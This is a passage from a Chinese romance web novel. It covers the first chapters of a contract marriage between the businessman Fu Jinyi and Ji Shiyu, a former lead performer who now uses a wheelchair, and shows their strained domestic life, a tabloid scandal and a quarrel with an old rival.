《今天也发脾气了吗》 1、第1章 明月高悬,繁复的云层穿过梧桐枝丫遮住了一半的月色。风很轻,吹过凉夜时带走了阴翳,今夜一片皎洁。 “啪” 傅谨屹将将踏进客厅大门,还未看清眼前的情况,一个漂亮的物件便在脚边应声而落。 随之而来伴着的是又几声清脆的声响从厅内炸裂开来,还夹杂着一道稍许陌生的女声:“他傅谨屹的东西,我凭什么替他心疼。” 傅谨屹闻言略一垂眸,视线停顿在地上翻飞过后溅开在四处的碎瓷片。 价值不菲。 从稍大一点的碎片纹路上依稀能辨的出,是某次国际拍卖会上压轴的一只北宋汝窑天青釉冰裂纹口瓶。 可他也只是稍稍蹙了蹙眉心,似乎并不怎么放在心上。 “傅太太似乎忘了自己的身份。”嗓音朗朗富有磁性。 他眸子平静而幽深,看向被佣人簇拥在正中的女人。 套着淡青色外衫,袖子宽大,膝盖上盖着一条满是logo的卡其色薄毯,分辨不明她穿着的到底是裙子还是裤子。自然黑的长发发尾微卷,发质很明显是精心打理后的结果。 面色红润,唇上呈现出淡淡的粉。 即使坐在轮椅上,全身上下也无一不透露着精致。 举手投足之间让傅谨屹想起了曾在江南见过的柳枝,守一隅宁静,耐得过俗世,独揽一江春色。 “那傅先生觉得,我是个什么身份?” 语气里的疑惑是实打实的。 踏进来的人周身清贵,身姿挺拔,气场截然相反的深沉。 一身正装,西服外套整齐的搭在手腕上,与他这个人一样,无论何时都干净、整洁到一丝不苟。 只有眼底透露出的些微青色与疲态,让他添了些烟火气,是连轴转后的结果,不细看也难以捕捉。 季时与声音落下来时洋洋洒洒,态度谈不上淡薄,却也隔人于千里之外,虽说着话,手指也没停顿。 下一秒,原本把玩着的瓦蓝色茶杯顺滑的从手心跌落,又是一声好听的叮铃脆响。 蕴含着的挑衅意味十足。 这太过熟稔的动作,很难不让人怀疑在这里出现过成百上千遍。 一旁伫立的佣人不约而同的捏了把汗,这个姑奶奶怎么偏偏这个时候发难? 可别在傅先生面前恶人先告状,到时候反被傅先生以为是她们照顾不周。 傅谨屹搁下手里的外套,一旁的佣人赶紧上前接过。 “人,贵在有自知之明。” 傅谨屹温和的点到为止,又侧头看了她一眼。 他忘了,慵懒却有韧劲的人,不是眼前精致漂亮却空洞的“季时与”。 眼前的人是南城早已声名远扬的女“魔头”。 起初,南城季家要与江城傅家结成姻亲的消息传出来时,大家都嗤之以鼻,以为是哪个傅家的对头有意泼的一桶脏水。 毕竟季时与从二十一岁那年开始,就成为了南城人口中脾气差还腿脚不好的恶毒女人。 直到后来,傅家在南城最中心的一家大型商场3d屏上放了一张不太正式的“请柬”,大意是证实了前段时间的传闻并非虚言,并在结尾邀大家同乐,只要是在婚礼当天在傅氏旗下所有的大型商场内消费折上折,其中所产生的差价一律由傅氏承担给商家。 旗下酒店、度假山庄重新开放下一季度预约。 随后季氏也在官网发布,不论是旗下小众轻奢品牌还是快时尚品牌统一六折后,多件再折上折,上不封顶,其高奢品牌只要预定下一季度新品,即赠独家私人订制项链。 可谓史低。 这会大家才反应过来,这两家是来真的了,舆论也将两家集团推向了一个新高度,因此也有一部分深信这一出只是利益联姻仅此而已。 可网友们都出奇的统一,纷纷感叹,好一朵鲜花插在牛粪上了。 当然了,她季时与会在乎牛粪的名头吗? “喂,傅鲜花?”季时与指尖轻摁,手机瞬间熄屏。 听着浴室里淅淅沥沥的水声丝毫不避讳,用手里的牛奶玻璃瓶不紧不慢敲了敲磨砂玻璃门。 季时与从来不屑在傅谨屹面前体现什么善良礼貌的高尚品格。 “说。” 简洁而有力。 “傅爷爷生日我送点什么比较好?”她问。 “你送的他都喜欢。” 她拧了拧眉,语气多了些不耐,“我说认真的。” “我也是说认真的。” 浴室里水雾弥漫,隔着门,季时与只听见水声渐小,她沉思了瞬。 并未探究出他语气里有什么敷衍。 傅谨屹说的不无道理,在外人看来他们只是商业联姻,也确实,他们两家在这场婚姻里是实打实的获利者。 但外人不知道的是,俩人的爷爷是多年的革命老同志,一个战壕里出生入死的兄弟,到了晚年才又重逢,自然惺惺相惜的紧,除了热泪盈眶之外就是关心这些小辈的婚事。 撮合他俩的婚事时,给出的理由是年龄相仿,一个姓傅,一个刚好姓季,简直就是天作之合。 季时与听到这扯淡的理由时眼睛都快翻到天上去了。 结婚当天,傅爷爷拉着季时与的手,止不住的颤抖,一个劲感叹他芳龄30的大孙子终于找到了个好归宿…… 扑面而来的水蒸气打断了季时与的思路,她转身往后退了退,膝盖窝撞在前两天刚定做好的真皮沙发凳上。 “——嘶。” 倒吸一口凉气。 她讨厌迎面而来的这种温热湿乎的感觉,像回南天撞上了闷热的蒸笼。 更厌恶腿上的每一种疼痛。 心情骤然烦闷,季时与翻手便把梳妆台上的瓶瓶罐罐挥落,破碎的声响在她听来格外悦耳。 浮躁缓解几分。 “怎么了?” 季时与清晰的看见他本来皱着,却又瞬间抚平的眉心。 有点儿失望,嗓音不高,却异常的沉闷,“没什么,不开心,不高兴,想摔就摔了。” 傅谨屹一怔,随后关上身后浴室的门,在她身边蹲下,温厚的掌心握着脚踝试探性的抬了抬。 “我是问你的腿。” 她有些恍惚怔忪。 “不小心撞到了。” “轮椅呢?” “楼下。” “自己走上来的?” 傅谨屹回来后吩咐人把客厅她摔碎的东西打扫干净后就上了楼,似乎是也不愿意与她做过多的纠缠。 她想着找他问问傅爷爷生日的事儿,就也没在楼下多呆。 “我是腿脚不便,不是残废。” 季时与目光落在他脸上。 仿佛是习惯了她夹枪带棒的说话,对于她话里藏着的讽刺意味傅谨屹并未理会。 他起身,“我给你拿上来?还是现在就去床上躺着?” “你干嘛不穿裤子?!!” 季时与这才注意到他全身上下只有一条内裤。 傅谨屹提了提眉,视线垂了垂,颇有几分认真讨教的语气,“这不是裤子,是什么?” “遮羞布?”她思忖片刻答道。 “……” 下一刻,她腾空而起,慌乱之中紧紧搂住傅谨屹的脖子。 “你也不用绞尽脑汁想送什么给爷爷了,就送他个重孙吧。” 把她放下的力道算不上轻柔,甚至有几分野蛮。 灯光有些刺眼,季时与还未反应过来,黑影便倾覆而下,手腕瞬间被反扣在头顶。 她听见耳边粗重的呼吸声弥漫开来,灼烧了耳廓的一小片肌肤,随之而来的是蒸腾的热意直冲脸颊。 她拱了拱,换来的是更严厉的掣肘。 “别动。”傅谨屹沉声低斥。 “——嘶。” 季时与好不容易得出空隙,嗓音喑哑不太清明,微弱道:“腿疼。” 说这话时她双眸是水润润的亮。 空气停滞片刻。 一阵静默后,季时与只觉身上骤然一轻,空气霎时涌了过来。 窗外传来春天梅雨季的气息,屋内开了空调,冷与热相撞,很奇妙的轻盈感。 季时与垂眸看着半蹲在眼前的男人,手法轻柔的给她揉着整个膝盖,眼里恍若无物的认真。 任谁看了大概都会觉得艳羡。 她突发奇想:“如果哪天你真的爱上我了,怎么办?” “我们不谈感情。” 她感受着膝盖处传来的源源暖意,意料之中的回答,认真问:“那谈什么?” “谈交易,谈利益,谈责任。” 是了,这本就是一场交易,一场属于季时与跟傅谨屹的交易。 傅谨屹会跟她结婚,不外乎就是因为利益、因为傅爷爷的病来的太突然。 而他需要一个结婚对象。 “那万一哪天你违背了你的交易、利益呢?” 季时与没用责任,也没用出轨两个词,她们谈这些太不合适。 膝盖上的手终于停下,他抬眼,“我不清楚你是因为什么原因答应这场交易,即使我们不是因为相爱而步入婚姻,但既然你嫁给了我,我会在我们婚姻有效期内,对我,也对你负起责任,我是一个有原则的人。至于感情,我尊重我们婚前所做的约定,只各司其职,不越雷池。” 傅谨屹像在陈述什么与他无关紧要的事。 他的凌然正色告诉她,这不是在做什么保证。 “我希望你也遵守我们的约定,不要节外生枝。” 季时与听出了他明里暗里的敲打,却又开始有点疑惑起来,这个傅谨屹到底是真不知道,还是在这跟她玩扮猪吃老虎? 管他真还是假。 季时与断然抽回了腿,肃然道:“如果你不是以离婚为目的,那就请你在国内这段时间,处理好你的私事,我不希望类似的事情再发生在大众眼前,不要给我们两家蒙羞。” 她从被子下抽出一则报纸,甩他身上。 标题是: “傅氏总裁与一美女举止亲密同游z国,傅季两家坐实婚变传闻?” 傅谨屹拧着眉看完整篇报道。 全篇言语犀利,矛头却直指公司的新项目。 侧头。 身旁的人呼吸均匀,仿佛睡着了一般。 夜色静谧,傅谨屹周身松懈下来,为数不多的仔细端详着季时与,端详着这个小他六岁且知之甚少的妻子。 粗略算来,他们结婚也才半年而已,傅季两家亲上加亲开辟了新渠道,他半年来大部分时间奉献给了公司,一周飞三次国内外的频率,让他从没产生过要进一步了解这个妻子的想法。 今夜,他似乎从刚踏进静园起,就踩中了季时与的圈套里。 所有的铺垫试探,恐怕都是为了把报纸甩在他身上的那一刻吧? 在他对她的印象还停留在外界所传闻的那些不堪的话语里时,季时与用她的聪明不露声色的维护着季家的利益。 既然大家都是聪明人,那么这场交易注定双赢。 傅谨屹起身下楼打了个电话,神色晦涩不明,十来分钟后才进了次卧睡下。 翌日清晨。 季时与心情显得异常美丽,没从次卧旁坐直达电梯下楼,而是自己从楼梯走到了一楼。 相处久了,佣人看着她是自己走楼梯下来的,非常有眼色的准备试探着上去搀扶。 她只有心情好的时候才会自己走下来。 “太太……” “谢谢,不用。”季时与回了她一个笑意。 “那您是要先去餐厅用会儿早餐,还是先去花园晒会太阳?” 连绵一个星期的阴雨天后,才终于放晴。 佣人见她面上气色红润,似乎被这阳光引诱。 与昨日判若两人。 2、第2章 “傅谨屹人呢?” 她未答却问。 “先生今天很早就出门了。”徐姨接过话,紧接着下一句,“不过他交代,让您今天如果有空的话去一趟青晖居氏取东西。” “取什么?” 徐姨仔细回忆了片刻,确认傅谨屹当时没透露,才答道:“他没告诉我,说您去了就知道了。” 季时与回想了一下青晖居氏这个地方,依稀记得是一家类似古物文玩的店,在婚前傅爷爷带她去过一次。 当时傅爷爷指点江山的气势,仍记忆犹新,对着偌大个店翻手挥了挥后落座,让她随便挑,看上了什么都加进聘礼一块送去季家。 她只粗略看了几眼便知,傅爷爷是真心喜欢她这个孙媳妇,东西都是好东西,虽然大部分不是年轻人会感兴趣的。 但于傅爷爷来说,不管年轻时商场上如何叱咤风云,当时代的洪流来袭,被洪流裹挟退下的他们如今年事已高,他只是把自己认为最好的东西,送给她这个小辈。 季时与当时被傅爷爷的气势镇住了一瞬,不好推脱。 傅家是不在乎这点闲钱,但太过则显得贪心不足,太差反而小家子气。 最后精挑细选了一把上好的金丝缕团扇,喜庆寓意好。 “那先吃早餐吧。” 季时与估摸着大概是傅谨屹替她准备好的礼物。 到了青晖居氏有专人引荐到贵宾专用休息室,面上是恰到好处的微笑,连眉眼似乎也是精心练习设计好的弧度。 屋内陈设随前厅一般古色古香,私密性却是极好的,茶水点心一应俱全。 “您先稍坐片刻用会茶,傅先生的东西我马上带人取来,您验收之后再签字就行。” 季时与视线自然的带过她胸前,明晃晃的烫金胸针里镶嵌着名字与职务“陈妗高级经理”。 眸光未经停留,最后落在陈妗的眼睛上,微微颔首笑了笑,“谢谢。” 等了30分钟后半点动静都没有,加上多喝了几杯茶水,下腹隐隐约约有些发胀,拿上手机就准备起身出去。 刚出门才拐了个角,隐隐约约的争执声渐渐清晰起来,季时与一眼望去走廊下不远处围了几个人,貌似是有东西碎在地上。 但她并不打算过去蹚浑水,而是选择侧边的一条石板路窄道绕过去。 没走几步,高扬着的带着点陌生又熟悉的声音叫住她。 “季时与。” 季时与微顿,脚下的步子微不可及快了些。 “季时与!” 身后的声音再次传来。 如果说上次的语气里还带着点不确定,那么这次徐菘兰是肯定。 “原来大名鼎鼎的时与,也会像个过街老鼠一样。” 语气里有几分莫名的得意,她把自己放在了制高点,“哦,不好意思,我忘了,你现在姓季,是吧?季大小姐。” 季时与这才停下来,目光穿过廊柱,望过去。 刚才聚集着的骚动早已停滞,有青晖居氏的工作人员,有刚才争执的客人,所有人的目光都落在她身上,正大光明的、悄摸打量的。 对面昂首挺胸的那个人仿佛带着一股优越。 她配合着,语气不冷不淡:“您有事吗?” “还是习惯叫你时与,你不介意吧?”徐菘兰脸上的笑意更胜,肢体小动作也逐渐夸张,“我还以为多年老朋友见面,你至少也会激动高兴一番。” 季时与隔着回廊都闻到了那股经典的臭茶味,她不紧不慢走近了些,“昨天的头版报纸很威风,怎么不算见过面了?” 想了想,故意学着徐菘兰的语气,“傅季两家坐实婚变?确实激动了好一会。” 还没等徐菘兰再次开口。 季时与视线绕过她一周,眼睛里是若有似无的审视,紧接下去,“还真是三十年河东,三十年河西,现在什么屎壳郎套了张人皮都能上台学人唱戏了?不过你请的人文笔确实不怎么样,下次考虑换一家?” ——噗呲。 后面聚着的工作人员还没散去,猛的听到这句话,一下子没忍住笑。 终于有人能替她们整治一下这位蛮不讲理的客人了。 “你……你们……!” 反观徐菘兰被这笑声激的,脸色比湖底沉积了多年的青苔还绿,你了半天也没你出个什么东西来。 面子这东西向来是她最看重的。 季时与本就不想搭理她,这会胜负明显已分,心情好的不行。 “你已经不是那个高高在上的首席时与了……”徐菘兰像个被刺激后触底反弹的疯子,语速极快,她迫不及待想带着锋利,撕穿别人的伪装。 “你还有什么可骄傲可睥睨的?你敢告诉别人从前的你是谁吗?”她笑起来,眼里是从不遮掩的得意,“你敢让傅谨屹看看从前的你吗?” “你不敢,从天堂坠落到地狱听不得别人的惋惜,你现在不过是一个看着正常的废人而已。” 徐菘兰大段的话砸下。 季时与突然惊觉,重点却是在自己也可以对她这么有耐心,听完这么一长串的话。 话的内容听清楚了吗? 她似乎听清楚了,但听的她有些恍惚。 灯光、掌声、舞台原来已经离她这么遥远。 季时与已经记不太清那是一种什么感觉,只记得鲜活有力量,每一天都是充盈的。 与现在截然不同的。 突然想砸点什么东西。 她看了看左右,发现只有手上拿着的手机。 没有手机壳,只在背部最外圈镶了一圈碎碎的小粉钻。 不规则的截面每个都闪着细碎的光泽。 季时与松了松气,还是算了,用久了还是有点感情的。 “你太急功近利,没有我你就赢了吗?”她莫名觉得她也有些可怜,“你总认为是我靠着关系处处压你一头,可没有了我,你照样坐不上首席的位置,一只山鸡插上凤羽,就真能成凤凰?” 徐菘兰本就气的不轻,怒极反笑。 “如果不是你当年空降下来横插一脚,首席的位置也不会被你占了好几年。” “真是哪里来的自信?没天赋又不够有能力的话,你应该没少听过吧?”季时与被她逗笑,“像你这种人,我都懒得在你身上花钱,但凡多花个十块八块的,都怕给你砸爽了。” 有时候季时与也会觉得自己是不是过分的狠毒了些,可她转念又想了想,那又怎么样? 她都这个样子了,与其反思自己,不如好好让别人反思。 “那场事故怎么你没直接死了好了?” 徐菘兰咬牙切齿,像个疯子一般,但这个念头日夜都落在她心底。 季时与姿态微不可及的松动下来,但也只是瞬息,凝神看着她,“我也想,怎么你当时又心软了。” “你什么意思?”徐菘兰脉搏猛的紧缩一息。 季时与眼里说不清道不明的情绪冗杂,嗓音轻如鸿毛,她的警告向来明目张胆。 “即便我现在什么也不是,可我还是季家的季时与。” “你到底什么意思?” “听不明白你干脆也直接死了算了。” 从青晖居氏出来,直到上了车季时与才后知后觉。 手心翻转,微微的汗渍在光线下散发着亮晶晶的光泽。 车窗降下,耳边的风呼啸几声,再转眼手掌重新变得干燥宜人。 窗外的呼啸声再次被玻璃隔绝后,季时与拨打的电话终于有人接通。 “喂?”那头是黏连含糊的嗓音。 季时与顿时心下了然,颇有点无可奈何,“你又喝通宵?” “不喝没法谈,等我拥有的够多,才有权利说不。”听筒里一阵窸窸窣窣的声响传来,姜静支起身,声音里是宿醉后的游离。 “哦,那这个项目算是拿下了?” 话糙理不糙,她没法反驳,姜静想要在姜家争一席之地,首先就得做出点成绩来,私生女的标签虽然会让外人忌惮几分,但内行更多的是看姜家对她的态度。 所谓审时度势。 哪头水高,自然就上哪条船。 “当然,我出马还有留悬念的余地?”听她情绪似乎不高,姜静斟几经斟酌,“怎么了?纸媒的事?昨天我喝的太晕了,早上中途醒来过一次看什么都撤掉了,想着应该是你老公那边在处理,本来也打算今天问问你的。” “不是……” 季时与把事情原委复述了一遍。 姜静捋了捋。 “所以说,你老公居然没有在最关键的时候出现搂住你,然后告诉她,我的老婆你也敢动?天凉了你也该消失了。” 季时与原本轻蹙的秀眉瞬间展开,只剩嫌弃溢于言表,“叔叔当初给你起名字的时候,应该是没有想过你会被这个名字反噬。” “……” 姜静一时语塞,静默几秒后才嘱咐她。 “这个事情你还是自己多注意一下,特意挑的你老公回国当天,明显是有备而来。” “嗯,我知道。不过……徐菘兰好像变了,她的变化很大。” 向来是阴暗里吐信子的毒蛇变成了语无伦次的疯狗。 “那不是很正常吗?人都是会变的。” “还有,我都不想说你那个老公,这点小事都处理不好……等等,我好像有个电话进来了,先挂了啊。” 伴随着她最后一个字音飞快的进入尾声,季时与已经踏上了游艇,直奔二层的房间。 发了一条微信给姜静:【有空就来,老地方,我先睡一会】。 姜静几乎是秒回:【我可能比较晚】 季时与:【正好,有日落的时候海钓最漂亮!】 退出界面的时候不小心滑到尾部,触进了一个对话框,很普通的头像,很普通的名字“f”。 名字旁边标志着一个免打扰符号。 最后一条消息是傅谨屹一个月前回复的:【知道了。】 知道了知道了,成天就是知道了,区区一点小事都处理不好。 她退出时长按删除,把聊天框移除了对话框,接着迷迷糊糊睡了过去。 整个世界变的很安静,耳边偶尔会有几声浪花涌起的哗哗声,落在季时与耳里,都化成了梦里美妙的奏月。 “太太,太太!太太!!……” 季时与还在跟梦里聒噪的钓鱼竿对抗,却突然惊醒过来,不是鱼竿在说话,是门外有人在叫她。 “怎么了?”嘶哑的声音让她自己也吓了一跳。 “太太,是先生的电话。” “先生?什么先生?” 季时与脱口而出后,瞬间醒悟,这下是完完全全真的清醒过来。 她已经结婚了。 睡前手机本来就没有几格的电,已经被傅谨屹给打关机了。 “是傅先生呀,太太您怎么了?先生联系不到您,把电话打到我这了。”外头拿着蒜的厨师明显有些焦急。 手机插上电就开始浮现开机logo,随之而来的是:未接来电(32) 3、第3章 “为什么不接电话?” 电话那头是在压抑克制着的声线,调子起的比往日更沉。 不像是焦急,更像许久没有收到回应的不耐烦。 傅谨屹这个人,给人的疏离感太强,像带着凉意的薄荷,看着极具攻击性,他却总是意外的谦逊有礼。 至少季时与见他发起火来情绪不稳定的场面算的上没有。 “我睡着了,手机刚好没电,不是有意的……”季时与自然的省去了不必要的话。 长久没听见傅谨屹的下一句,让她本来虚张声势的气势,平白弱上一截,“你生气了?” “没有。” 能让傅谨屹这么“纡尊降贵”拨打的手机号,整个江城恐怕屈指可数。 无人接听的几十通电话被一句手机没电轻描淡写给揭过,说不气是假的。 剩下那半句不是故意的,既然不是故意的,他还能说什么? 傅谨屹心胸还没吝啬到跟一个睡着了的女人计较。 “你是找我有事?” “现在没事了。” 上午的不愉快涌上心头,季时与也顷刻冷了下来,以他在青晖居氏的身份,消息想必是早就已经知道了。 美人鱼号停泊在海上,傍晚,起风了。 微风钻过没关严实的窗口,撩起窗帘一角。 季时与猝不及防打了个冷颤。 映入眼帘的是,金橙色的余晖洒落于海面,无限蔓延出一条长长的小道,直至天际线。 余晖是夕阳落幕的祷告,天际线是船舶的归港。 江城却不是季时与的避风港。 “沉香木手串我已经让司机送回静园了。” 她只能这样想傅谨屹这通电话的原因。 一则傅谨屹应该没有无聊到关心那些事,二则季时与扪心自问在他心里大概也只是排不上号的地步。 傅谨屹:“好。下次出门尽量带点人在身边。” 季时与:“为什么?” “不为什么,以防万一,安全。”他像是例行公事般提点。 这话让季时与气不打一处来,于是也不打算好好说话,“傅先生好歹也是江城名流里的佼佼者,芝麻大的小事都处理不好,让自己的太太出门带保镖?” 阴阳一番后,还冷不丁补上一句轻哼。 “傅太太。” 傅谨屹低声叫她傅太太的时候少有,大部分时间是随她一般,连名带姓的叫季时与。 明明是听起来让人觉得他此刻有几分不悦的叫法,嗓音却又深沉婉转的生出些缠绵的情分来。 他继续说,声音如雾霭沉沉:“我处理的是事,不是人。” 言下之意就是,事情已经出了,我要的结果是把事情处理干净,至于人与我无关咯? “行,真好。”季时与没有再跟他废话,既然意思都表达的这么清楚,那她也没有继续的必要,“鸡同鸭讲,您还有事吗?” 傅谨屹正准备接话时,被身旁人打断,极短的一句,她没怎么听清,就只听见他在听筒里答了一句“好”。 “我这边有点事要忙,晚上回家可能比较晚。” 谁问他什么时候回家了? “还有……” 季时与没好气,“还有什么?” “我不认为我是鸭。” 季时与:“……” 回答他的是静谧过后的机械音。 海边独有的咸腥味在这里变的很淡,季时与在甲板上感受着拂面的海风,精致卷曲的长发吹的猎猎作响。 没有狼狈,没有急于抚平这一切。 姜静从前形容她是祖国辽阔疆原上的一匹野马,拥有漫天青草,拥有广阔无垠的天地。 现在姜静只会半调侃:“你可别一个享受就跳下去了啊。” 季时与抚了抚散乱的发丝,拨弄几下风越吹越乱,索性干脆捡起甲板角落里不知做什么的细管,还挺干净,在脑后挽了几圈别成了丸子头。 “你什么时候到的?” “大概在你跟傅谨屹打电话的时候?”姜静感慨,“不过你的厨师做海鲜是真好吃。” 姜静拿着还剩了一小半今早刚空运过来的牡丹虾。 * 当晚。 凌晨将近2点。 静园名副其实,落针可闻。 当傅谨屹的车驶入时,静园不静,灯火辉煌。 静园的阿姨接过他手里的外套,“先生要吃点什么吗?” “不用。” 许是已经习惯了车内的昏暗,用眼过度的疲劳感袭来,傅谨屹抬手垂眸,捏了捏山根,放弃了点香烟的想法。 踏上台阶的步子又收了回来,侧身回望,“季时与已经睡下了?” “太太?”秦姨虽有些疑惑但也还是回答:“太太她今晚没有回静园,说是跟朋友在一块,今晚就不回来了。” 傅谨屹面色平淡,“嗯,以后晚上不用留在静园,您也跟其他人一样没什么事就早点回去吧。” 静园靠近入园处有单独一栋小别墅作为员工楼,按理负责静园日常工作的都会住在那。 但傅谨屹不喜欢人来人往,无特殊情况,只需要白天把固定工作处理完便可以离开,工资照付。 秦姨原本是傅家旧宅住家阿姨,负责照顾饮食起居,跟傅谨屹做大学教授的母亲熟识,后来扭伤了腰,就来了静园打理一些轻松的事务以及人员安排。 算起来,秦姨也算是看着他毕业、结婚。 “这结了婚是不一样的。”秦姨一看他就是缺少经验,“你三天两头出差,一个月回家的次数恐怕都没有外面住酒店的多吧?” 她的话外之音明显,傅谨屹也不急着上楼,到客厅沙发坐下,一手拿烟,一手点火,“我妈又跟您聊什么了?” 等烟雾蒸腾起来时,他半重不轻的仰倒在沙发上,似乎松懈下来。 秦姨给他添了杯水,“你别不爱听。” 嘴上说着,却知道他即使不爱听这些,出于尊重,皱着眉也会听她念叨完。 “从前你一个人住的时候,静园请的人很少,每天固定打扫完就走。时与嫁过来之后,才多请了几个给她□□吃的,照顾一些花草,本来大家都是收拾好早早都会离开……” “后来呢?”傅谨屹顺着她的意问下去。 秦姨没接她的话,转而说道。 “你别看她平时做出来的样子凶巴巴的,有一天我不怎么舒服,在厨房边上的小房间休息的时候睡着了,那天晚上大风呼呼的,餐厅那边的窗户没关严,风吹的嘎吱嘎吱响,那孩子看完电视上楼的时候吓的从楼上摔下来,手肘青了几个星期。” “是么?” 傅谨屹指尖轻弹,烟灰落在青玉烟灰缸里,透着玉质水润的烟灰缸,瞬间如生了霉点一般。 他好像没听说过这回事。 “人对陌生环境总是得要时间去适应的,这么大个地方她一个人,又不熟悉,能不害怕吗?娶个老婆回来可不是让你放家里晾着的,你不好好哄着,陪着迁就着些,人家能跟你好嘛?” 秦姨一说起来就要滔滔不绝,“一个人天天闷着呆久了,那心情脾气能好吗?她呀,就跟我那个读大学的小女儿差不多大,平时张牙舞爪,其实呀,活脱脱一个纸老虎……” 手里的烟只将将燃了一半,烟灰又蓄了有一小段,在灯光的映衬下分不太清明灭。 傅谨屹起身往烟灰缸里捻灭,神色如常。 “我今天有点累了,秦姨你也早点休息吧。” 他想象不出来怎么叫哄着,陪着、迁就一个人。 这些词汇向来不会出现在金字塔尖,事实与他身处的环境不需要,也用不着他去这样做。 像父母那样相敬如宾算吗? 算的话,他跟季时与如今不就是如此吗? 傅谨屹内心无甚涟漪。 次日中午,季时与回了静园,跟姜静一块吃了个午饭。 “秦姨,那个箱子里的鱼看看能不能吃,明天弄一条炖个鱼汤吧。”季时与隔着透明落地窗指向门外院子里军绿色的塑料箱。 最初季时与买游艇的初衷只是去海上看看日落,某一天心血来潮请了个海边的老师傅教她海钓,从此便有些一发不可收拾。 心情好的时候隔三差五就会去一次,成了实至名归的“钓鱼佬”。 “哎呦”秦姨打开盖子,数了数惊讶道:“这次这么多呢?” 姜静一如既往的拆台,“您别看有五条,没有一条是时与钓上来的。” “我猜也是,平时都是空手回来,路过的草都要挨她一脚,今天破天荒拎了个鱼箱。” 季时与看着俩人一唱一和,“真是显得你了,我去楼上换个衣服,秦姨你把剩下的给其他人也分一分吧。” “行,我待会炖一条给我女儿送过去。” 对于这些事季时与一向不怎么过问,秦姨怎么安排就怎么安排,只是顺嘴问了一句,“她不是在南城大学念书吗?” “是呀,我明天休一天班,待会晚上坐个高铁过去隔壁市,很方便的。我看她呀应该是偷偷谈恋爱了,几个星期没回来,我顺便去看看她。” “好。” 季时与没再说什么。 十来分钟左右,左侧的电梯门应声而开。 看着出来的人,姜静有些费解:“你这是做什么?腿哪里不舒服吗?” 季时与手指温润纤细,甲床养的极好,指尖饱满而圆润,闻言正在摆弄裙摆的手一顿,左右观察了眼正坐着的轮椅。 很精致,外观功能都完好,没毛病。 “我很好啊,怎么了?”季时与眼里是比姜静还要多的困惑。 “不是要去挑礼物吗?坐着轮椅去?” 季时与思来想去自己还是该准备一份礼物傅爷爷,这代表了她的心意。 “这样出去不行吗?纯电动的诶!”她笑,“出门八小时,一看微信步数只有10,懒惰的人先享受世界。” 说完还比了个大拇指。 似乎还挺有道理,姜静想。 季时与极力推荐:“你要吗?楼上影院房里还有个一样的。” 姜静:“不了,等我累了让你起开,我再坐坐就得了。” 身边真是没一个有人性的。 下午。 傅氏集团在临江的新项目正式敲定,临江背靠百年文化底蕴,天然景观更是不少,自去年就开始有消息规划大力发展旅游业,傅氏旗下的酒店布局自然得抓住时势。 傅谨屹踏进静园时,正好傍晚六点半。 夜色昏昏,风动树影曳。 唯独缺了季时与的身影。 他看着餐桌上不断冒着热气的清蒸鱼,并未动筷,等待着,“季时与呢?” 一旁的佣人答道:“太太今天在朋友家,不回来了。” 与昨天得到的回答别无二致。 傅谨屹眉心拢起,片刻后,黑色剔透的筷子夹了一小块鱼肉,放在碗里后又重新停下筷。 拿着筷子的手,青筋埋在皮肤下若隐若现,舒展着力量感的美,“她经常不回静园吗?” “这个……也不是,先生您回来这两天,太太正好都有事出去了。” 归根结底倒是他的问题?回来一趟自己家把握不好天时地利人和。 从那天后傅谨屹似乎又开始出差忙碌起来,季时与没再见过他。 直到半个月后,傅爷爷生日前几天,季时与主动发了条信息给他。 那边快速的回了两个字:在忙。 3个小时后给她回电话,她才知道傅谨屹在临江出差,不回江城这边跟她一块出发,结束后直接飞去琢安。 季时与也不想跟他一起,目前这种情况最好,她挂断电话后给自己订了张后天的票。 —— 傅爷爷是土生土长的北方人,前半生在南方风雨漂泊中度过,最大的愿望就是落叶归根,从傅氏卸任后回了涿安,在涿安买下一块地皮,造出了一座北方的苏式园林。 四月料峭的倒春寒让涿安下起了大雪,从飞机落地那一刻起,鹅毛大雪铺天盖地而来。 “太太,先生让我过来接您。”司机接过行李。 季时与微微颔首,顶着大雪小跑进了车里,“傅谨屹已经到了吗?” “先生昨天深夜到的,中午陪老爷子吃完饭后下棋去了。” 司机没忍住透过后视镜看了季时与一眼,似乎是在解释为什么傅谨屹没亲自来。 外头的温度与车内的温度有着极大的反差,骤然的温暖让她双颊迅速升起酡红,昏昏欲睡。 她靠着半寐,不经意回:“知道了。” 司机看她反应平淡,不禁有些惋惜,傅老爷子的报纸是由他每天送到书房,前段时间的新闻傅老爷子看完后沉默了半晌没说话。 照他看,哦不,是照傅家除了傅老爷子之外的人来看,这段关系离终止不远了。 不到一个小时,天地间便迅速覆上了一层雪白,感受不到车子运行中的震颤,季时与迷迷糊糊想睁开眼睛,刺目的光线袭来迫使她往阴翳里逃。 缓了一会之后才看清,宽大的车门被人从外面打开,瞬间涌入一股冷空气。 外面的世界皑皑白雪,伫立在门外的人身着一身黑,黑色大衣、黑色裤子,连撑着的伞也是黑的。 季时与的视线停在傅谨屹伸出的手心上,风雪好像又肆虐了些,落在他的肩头、落在他温热的掌心,迅速隐没后化成了一滴水珠。 此刻,傅谨屹像是成为了,连接季时与与这个世界的桥梁。 “谢谢,我自己可以。”带着半个月没见的生疏,还有委婉的拒绝,季时与略过他的手,干脆利落的下车。 不过还是低估了北方的春天,她猝不及防的打了个寒噤。 “涿安不比江城的春天,穿的太单薄会感冒。” 两人隔的不远不近。 傅谨屹握着伞柄的骨节微微用力,黑色的大伞倾斜了几分,为她遮挡住更大部分的风雪。 季时与悄悄望了望自己的穿着,粗毛线织就的宽松毛衣,只在颜值上起到了造型的作用,冷风不费吹灰之力就可以钻到里面的小羊绒打底衫上,下面穿的紧身牛仔裤被过膝靴裹住,腿显得修长而笔直。 “冬天都过了,我以为会升温,没想到会下雪。”她解释。 “来之前没有看天气吗?” “我忘记了……” 季时与有些不好意思,没看天气是一部分,心存侥幸是一部分,她不喜欢冬天穿的厚重。 傅谨屹垂眸,目光短暂交汇后落在她通红的鼻尖上,“带外套了吗?” “嗯……应该算是带了吧?” “带了就是带了,没带我让人从市区送一些过来,”傅谨屹顿了顿,“什么叫应该算是带了?” 他的语气像是在问,为什么这个项目交上来的汇报多了一串乱码,而这段乱码,他读不懂。 “就是……” 一个喷嚏打断了季时与接下来的话,刚准备继续,又接踵而来两个。 “我的建议是,我们最好不要在风口聊这些,如果你带了衣服我带你去换。” “带了带了。” “走吧。” 傅谨屹尽量放缓步子,让她能跟上。 为了缓解刚才的窘迫,季时与猛地吸了下鼻子追上去,“你不是在陪爷爷下棋吗?” 